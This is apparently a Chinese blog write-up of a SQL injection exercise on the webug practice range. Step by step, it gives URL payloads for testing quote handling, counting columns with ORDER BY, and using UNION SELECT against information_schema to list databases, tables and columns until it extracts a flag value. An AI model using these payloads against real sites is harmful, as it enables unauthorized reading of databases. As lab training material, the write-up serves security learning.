webug-显错注入

访问靶场:
在这里插入图片描述(1)看到地址有id=1,改变id为2、3分别试一试
id=2
在这里插入图片描述id=3
在这里插入图片描述可以发现,随着id后面数值的改变,红框处的值也随之改变

(2)判断注入点类型,尝试下面语句:
url?id=1) 括号无反应,看来是屏蔽了
url?id=1" 双引号无反应
url?id=1’ 单引号有结果

在这里插入图片描述(3)判断字段数
id=1' order by 5 %23,利用二分法判断,3、5均报错
(mysql有三种注释方法,1、# … 2、-- … 3、/…/,%23是#的url表示)
在这里插入图片描述1、2均正确,说明字段数是2
在这里插入图片描述测到查询结果为两列,接下来让我们看看我们想要的数据在第几列

url:id=1' union select 1,2 %23

在这里插入图片描述说明会回显第二列的内容,那我们可以通过替换第二列的内容去获取数据库的相关信息。

例如:id=3' union select 1,version() %23(获得版本)
在这里插入图片描述(4)获取数据库名
== a、获取全部数据库 ==

id=3' union select 1,group_concat(schema_name) from information_schema.schemata

(前三个都是mysql自带的数据库,因此我们只需要注意后面的test、webug、webug_sys、webug_width_byte数据库就行)

在这里插入图片描述== b、获取当前数据库 ==

id=3' union select 1,database() %23   

在这里插入图片描述当前数据库名为webug
(5)查看当前数据库下有哪些表

id=3' union select 1,group_concat(table_name)from information_schema.tables where table_schema='webug' %23

在这里插入图片描述列出的表中看到有一个名为flag的表

(6)查看env_list表里有几列

id=3' union select 1,group_concat(column_name)from information_schema.columns where table_name='env_list' and table_schema='webug' %23

在这里插入图片描述
(7)查看envFlag下的内容

id=3' union select 1,envFlag from env_list where id=1 %23

在这里插入图片描述获取到了flag!

参考链接:https://blog.csdn.net/ONS_cukuyo/article/details/88037625

猜你喜欢

转载自blog.csdn.net/qq_44108455/article/details/106026259